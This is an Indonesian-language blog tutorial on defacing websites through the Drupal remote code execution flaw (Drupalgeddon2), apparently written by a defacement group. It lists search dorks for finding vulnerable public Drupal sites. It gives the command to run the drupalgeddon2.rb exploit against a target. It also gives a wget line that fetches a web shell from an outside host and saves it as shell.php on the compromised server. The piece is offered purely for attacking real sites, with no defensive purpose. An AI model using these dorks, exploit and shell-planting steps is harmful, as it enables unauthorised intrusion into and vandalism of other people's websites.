Deface Metode Drupal RCE ( Remote Code Execution )

hello guys, sudah lama nggak buat artikel tentang deface lagi ya hehe, kali ini gw akan membawakan tutorial deface dengan metode Drupal RCE.

Remote Code Execution adalah sama seperti arbitary code execution, dimana membuat attacker mempunyai kemampuan untuk mengeksekusi perintah di mesin target, biasanya memanfaatkan kelemahan aplikasi yang dijadikan target eksploitasi, bedanya dengan Remote Code Execution adalah sang attacker melakukan injeksi coding melalui dengan mesin yang berbeda, maksudnya dilakukan secara remote terhadap mesin target.

Bahan Yang Dibutuhkan :

Tools Drupalgeddon2

Linux / Termux

Shell Backdoor

Dork :

inurl:"/user/register" "Powered by Drupal" -CAPTCHA -"Access denied"

inurl:"user/register?element_parents=account/mail" 

inurl:"*drupal_ajax"

Note : Silahkan Dikembangkan lagi :)

Cara Deface Metode RCE

ang harus kalian lakukan pertama kali adalah buka tools nya terlebih dahulu di termux atau linux kalian, lalu kita ngedork dengan dork yang sudah di sediakan di atas, atau bisa kalian kembangkan lagi.

Lalu buka terminal / termux dan ketikkan 

  $ ruby drupalgeddon2.rb targetkalian.com

Dan jika exploit kalian berhasil, maka akan muncul seperti ini.

Lalu tinggal upload shell/script kalian yang sudah terupload di dalam website dengan menggunakan wget, contoh nya.

  $ wget http://web.com/shell.txt -O shell.php

Tinggal kalian akses shell/script kalian.

Demikian tutorial Deface Drupal RCE kali ini, semoga bermanfaat. jangan lupa baca artikel sebelumnya yang sangat bermanfaat. dan jangan lupa subscriber channel ku : KLIK DISINI 

Thx To My Family Anon Cyber Team.